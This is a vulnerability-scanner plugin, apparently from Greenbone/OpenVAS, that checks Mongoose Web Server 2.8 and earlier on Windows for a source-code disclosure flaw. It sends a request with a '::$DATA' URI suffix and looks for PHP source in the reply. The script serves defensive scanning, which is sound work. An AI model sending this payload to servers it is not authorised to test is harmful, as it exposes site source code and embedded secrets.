Mongoose Web Server <= 2.8 Source Code Disclosure Vulnerability

# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:cesanta:mongoose";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800412");
  script_version("2021-07-07T12:08:51+0000");
  script_tag(name:"last_modification", value:"2021-07-07 12:08:51 +0000 (Wed, 07 Jul 2021)");
  script_tag(name:"creation_date", value:"2010-01-09 13:17:56 +0100 (Sat, 09 Jan 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2009-4530", "CVE-2009-4535");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Mongoose Web Server <= 2.8 Source Code Disclosure Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("gb_mongoose_web_server_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("cesanta/mongoose/http/detected", "Host/runs_windows");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Mongoose Web Server is prone to a source code disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The issue is due to an error within the handling of HTTP
  requests and can be exploited to disclose the source code of certain scripts (e.g. PHP) by
  appending '::$DATA' or '/' to a URI.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to display
  the source code of arbitrary files instead of an expected HTML response.");

  script_tag(name:"affected", value:"Mongoose Web Server version 2.8 and prior on Windows.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://freetexthost.com/0lcsrgt3vw");
  script_xref(name:"URL", value:"http://secunia.com/advisories/36934");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/index.php::$DATA";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

if (!isnull(res) && "<?php" >< res && "?>" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);